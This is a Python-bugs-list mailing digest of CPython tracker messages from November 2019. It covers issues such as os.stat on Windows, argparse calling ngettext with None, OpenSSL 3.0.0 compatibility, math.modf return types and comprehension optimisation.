--
assignee: brandtbucher
components: Library (Lib)
messages: 356764
nosy: brandtbucher
priority: normal
severity: normal
status: open
title: Improve stdlib module initialization error handling.
type: behavior
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38822] Inconsistent os.stat behavior for directory with Access Denied

2019-11-16 Thread CrouZ


New submission from CrouZ :

After upgrading some scripts from Python 2.7 to 3.7 in Windows 10, I got 
different behavior that seems to be caused by inconsistent behavior for os.stat 
in Python 3.7.

Python 2.7:
>>> os.stat("D:\\System Volume Information")
nt.stat_result ...
>>> os.stat("D:\\System Volume Information\\")
nt.stat_result ... (same as previous call)

Python 3.7:
>>> os.stat("D:\\System Volume Information")
os.stat_result ...
>>> os.stat("D:\\System Volume Information\\")
Traceback ...
PermissionError: [WinError 5] Access is denied: 'D:\\System Volume 
Information\\'



What I really do is calling:
>>> os.path.exists("D:\\System Volume Information\\")
False (Unexpected and inconsistent. I expect the return value to be True.)

Behavior for other calls:
>>> os.path.exists("D:\\System Volume Information")
True (OK)
>>> os.path.isdir("D:\\System Volume Information\\")
True (OK, but according to the documentation "Return True if path is an 
existing directory." where 'existing' links to os.path.exists, which returns 
False)

The closest issue I could find was Issue28075 which has already been fixed.

--
components: Windows
messages: 356763
nosy: CrouZ, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Inconsistent os.stat behavior for directory with Access Denied
type: behavior
versions: Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38821] argparse calls ngettext with deprecated non-integer value

2019-11-16 Thread Roundup Robot


Change by Roundup Robot :


--
keywords: +patch
pull_requests: +16698
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17192

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue37083] Document TYPE_COMMENT in documentation reference for compound statements

2019-11-16 Thread Guido van Rossum


Guido van Rossum  added the comment:

Honestly I don't think that the exact places where TYPE_COMMENT goes in the 
grammar should be documented as part of the language reference.  For almost all 
of them we should be using type annotation syntax, and IMO for the remaining 
ones we should either add syntax or just move the declaration to a line by 
itself using `var: type` (PEP 526).

Also note that these are irrelevant to most users -- they only come into play 
when ast.parse(type_comments=True) is used, or when code is parsed by a 
separate tool like mypy.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38821] argparse calls ngettext with deprecated non-integer value

2019-11-16 Thread Federico Bond


New submission from Federico Bond :

The call to 'ngettext' in 'ArgumentParser._match_argument' (Lib/argparse.py) 
uses a non-integer value, which causes it to fail with a nonsensical exception. 
Non-integer values were deprecated in bpo-28692.

This happens because the 'default' error message is computed unconditionally, 
even when the value of 'action.nargs' is 'None' and another message will be 
ultimately selected.

This issue is similar to bpo-35785 which was not reproduced by other people at 
the moment and was eventually closed. I could not create a short reproducer but 
could match several of the points described in that issue. A little debugging 
turned up that gettext was loading a catalog from the 'natural' PyPI package 
which uses 'Plural-Forms' too.

  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py",
 line 1755, in parse_args
args, argv = self.parse_known_args(args, namespace)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py",
 line 1787, in parse_known_args
namespace, args = self._parse_known_args(args, namespace)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py",
 line 1993, in _parse_known_args
start_index = consume_optional(start_index)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py",
 line 1923, in consume_optional
arg_count = match_argument(action, selected_patterns)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/argparse.py",
 line 2086, in _match_argument
action.nargs) % action.nargs
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py",
 line 631, in ngettext
return dngettext(_current_domain, msgid1, msgid2, n)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py",
 line 610, in dngettext
return t.ngettext(msgid1, msgid2, n)
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py",
 line 462, in ngettext
tmsg = self._catalog[(msgid1, self.plural(n))]
  File "", line 4, in func
  File 
"/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/gettext.py",
 line 168, in _as_int
(n.__class__.__name__,)) from None
TypeError: Plural value must be an integer, got NoneType

--
components: Library (Lib)
messages: 356761
nosy: Federico Bond
priority: normal
severity: normal
status: open
title: argparse calls ngettext with deprecated non-integer value
type: crash
versions: Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue34979] Python throws “SyntaxError: Non-UTF-8 code start with \xe8...” when parse source file

2019-11-16 Thread susaki


susaki  added the comment:

duplicated with #14811

--
resolution:  -> duplicate
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38650] Add constantness to PyStructSequence_UnnamedField

2019-11-16 Thread Serhiy Storchaka


Change by Serhiy Storchaka :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38639] Optimize floor(), ceil() and trunc() for floats

2019-11-16 Thread Serhiy Storchaka


Change by Serhiy Storchaka :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38820] Make Python compatible with OpenSSL 3.0.0

2019-11-16 Thread Christian Heimes


Christian Heimes  added the comment:

PR GH-17190 fixes test_openssl_version and removes the trailing newline from 
IPv6 addresses on all OpenSSL versions. I prefer to have the output consistent 
on all OpenSSL versions. The newline was silly any way.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28286] gzip guessing of mode is ambiguous

2019-11-16 Thread Serhiy Storchaka


Change by Serhiy Storchaka :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.9 -Python 3.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue32856] Optimize the `for y in [x]` idiom in comprehensions

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

> However, that's still going to be clearer to most readers than writing

It is subjective. To me, j+1/j looks clearer than (j:=i*i)+1/j. In addition, 
the for-as-assignment idiom is more powerful in context of comprehensions, it 
allows to set an initial value. In any case I want to have a choice.

> OOC, rather than optimizing a fairly ugly use case, might another approach be 
> to make walrus less leaky?

I think this ship is sailed. The semantic of the walrus operator is complex 
enough to make it even more complex by adding more special cases. Also, while 
the function-wide optimization of variables is possible, it much more complex 
problem than the proposed simple optimization.

> You should probably rerun your benchmarks though

$ ./python -m timeit -s 'a = list(range(1000))' -- '[y for x in a for y in [x]]'
Unpatched:  5000 loops, best of 5: 66.8 usec per loop
Patched:   1 loops, best of 5: 21.5 usec per loop

$ ./python -m timeit -s 'a = list(range(1000))' -- '[x for x in a]'
2 loops, best of 5: 17.8 usec per loop

Issue32925 reduce the difference, but it is still large (~12).

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38650] Add constantness to PyStructSequence_UnnamedField

2019-11-16 Thread Dong-hee Na


Dong-hee Na  added the comment:

Looks like 
https://github.com/python/cpython/blob/088b63ea7a8331a3e34bc93c3b873c60354b4fad/Tools/c-analyzer/known.tsv#L1549
 should be updated also.
What do you think?

--
nosy: +corona10

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue28286] gzip guessing of mode is ambiguous

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:


New changeset a0652328a26757a90d63697b5c01f5427b1132b5 by Serhiy Storchaka in 
branch 'master':
bpo-28286: Deprecate opening GzipFile for writing implicitly. (GH-16417)
https://github.com/python/cpython/commit/a0652328a26757a90d63697b5c01f5427b1132b5


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38650] Add constantness to PyStructSequence_UnnamedField

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:


New changeset bd44a7ead9f7336d7bb45f186b2b6ca0300154f7 by Serhiy Storchaka in 
branch 'master':
bpo-38650: Constify PyStructSequence_UnnamedField. (GH-17005)
https://github.com/python/cpython/commit/bd44a7ead9f7336d7bb45f186b2b6ca0300154f7


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38790] test_fcntl failing on macOS CI

2019-11-16 Thread Dong-hee Na


Change by Dong-hee Na :


--
versions: +Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38790] test_fcntl failing on macOS CI

2019-11-16 Thread Dong-hee Na


Dong-hee Na  added the comment:

This issue was reported from victor

See https://bugs.python.org/msg356607
And I attached the patch for this on GH 17154.
Please take a look at the patch also.

I apologize for the trouble as the original test code author.

--
keywords: +patch
message_count: 1.0 -> 2.0
nosy: +corona10
nosy_count: 4.0 -> 5.0
pull_requests: +16697
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17154

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue37083] Document TYPE_COMMENT in documentation reference for compound statements

2019-11-16 Thread Dong-hee Na


Change by Dong-hee Na :


--
keywords: +patch
pull_requests: +16696
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17191

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38639] Optimize floor(), ceil() and trunc() for floats

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:


New changeset 5fd5cb8d85fab3393dd76c7f3de1cdeb8ecf7203 by Serhiy Storchaka in 
branch 'master':
bpo-38639: Optimize floor(), ceil() and trunc() for floats. (GH-16991)
https://github.com/python/cpython/commit/5fd5cb8d85fab3393dd76c7f3de1cdeb8ecf7203


--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38813] math.modf() change integer returned part as integer instead of float

2019-11-16 Thread Mark Dickinson


Mark Dickinson  added the comment:

Thanks for the suggestion. I'm closing this as rejected, for the reasons Tim 
gave.

--
resolution:  -> rejected
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38813] math.modf() change integer returned part as integer instead of float

2019-11-16 Thread Mark Dickinson


Mark Dickinson  added the comment:

[Serhiy]

> What about math.trunc() and round()? Should they return int or float?

math.trunc was deliberately introduced to be an explicitly-value-modifying 
conversion to int (as opposed to "int" itself, which is used for both lossy and 
lossless conversions to int); so from that perspective it should return int.

round is less problematic than floor and ceil because it provides a way to 
preserve the type (by using `0` as the second argument).

Single-argument round frequently turns out to be the right way to convert a 
float to an int in practice (e.g., in something like `nsteps = round((stop - 
start) / step)`, in a case where you know in advance that mathematically stop - 
start is a small integer multiple of step, but floating-point errors might 
cause the quotient to deviate from that integer by a small amount in either 
direction), so I've often appreciated the convenience of being able to use 
`round(some_float)` instead of `int(round(some_float))`.

Floor division of floats already returns a float, and I can't see a strong 
reason to change that. It's not exactly the most useful floating-point 
operation in the first place, so it's hard to find use-cases that argue for one 
return type over the other.

But I think all of this is academic: it's another case of "Should we have done 
this differently in the first place?" versus "Should we change it now?". The 
answer to the first question *might* be "Yes" for some pieces, but the answer 
to the second is almost certainly "No".

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38820] Make Python compatible with OpenSSL 3.0.0

2019-11-16 Thread Christian Heimes


Change by Christian Heimes :


--
keywords: +patch
pull_requests: +16695
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17190

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38820] Make Python compatible with OpenSSL 3.0.0

2019-11-16 Thread Christian Heimes


New submission from Christian Heimes :

OpenSSL 3.0.0 is currently development [1]. I'm expecting a first beta release 
in December. Final release is scheduled for Q2 2020. OpenSSL 3.0.0 is API and 
feature compatible to OpenSSL 1.1.0 and 1.1.1. Only minor changes are required:

* OpenSSL version number is >= 3.0.0, which breaks test_openssl_version
* GENERAL_NAME_print() no longer adds trailing newline to IPv6 address strings. 
* ERR_func_error_string is deprecated

[1] https://www.openssl.org/blog/blog/2019/11/07/3.0-update/

--
assignee: christian.heimes
components: SSL
messages: 356750
nosy: christian.heimes
priority: high
severity: normal
status: open
title: Make Python compatible with OpenSSL 3.0.0
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38813] math.modf() change integer returned part as integer instead of float

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

> math.floor(), which does return an int, [...] and I believe it was a mistake 
> to change it to return an int.

What about math.trunc() and round()? Should they return int or float?

And what about the result of the floor division of floats? Should it be int or 
float?

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38813] math.modf() change integer returned part as integer instead of float

2019-11-16 Thread Mark Dickinson


Mark Dickinson  added the comment:

[Tim]

> I don't think it would be doing anyone a real favor by returning [...]

Agreed.

> math.floor(), which does return an int, [...] and I believe it was a mistake 
> to change it to return an int.

Also agreed.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue36589] Incorrect error handling in curses.update_lines_cols()

2019-11-16 Thread Serhiy Storchaka


Serhiy Storchaka  added the comment:

Historically the update_lines_cols() helper returned 0 on error, and I think 
that it is better to keep it so.

The bug is in the Python function update_lines_cols() added in 3.5 (see 
issue4254). Its implementation should return NULL if the helper returns 0, and 
None otherwise. There is no reason to return an integer.

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue38721] modulefinder should use import hooks properly

2019-11-16 Thread Dominic Littlewood


Dominic Littlewood <11dlittlew...@gmail.com> added the comment:

Okay, I've encountered a snag. To use meta path finders, if the path is None, 
it's sometimes okay to substitute self.path, and sometimes not. The only way to 
make absolutely sure the finder works correctly is to change sys.path. To use 
namespace packages (and possibly some other types of modules finders might 
produce), it's also necessary to adjust sys.modules. However, both of these 
things may cause problems if a hook wants to import something in the standard 
way so it can run properly. This will require some thought.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com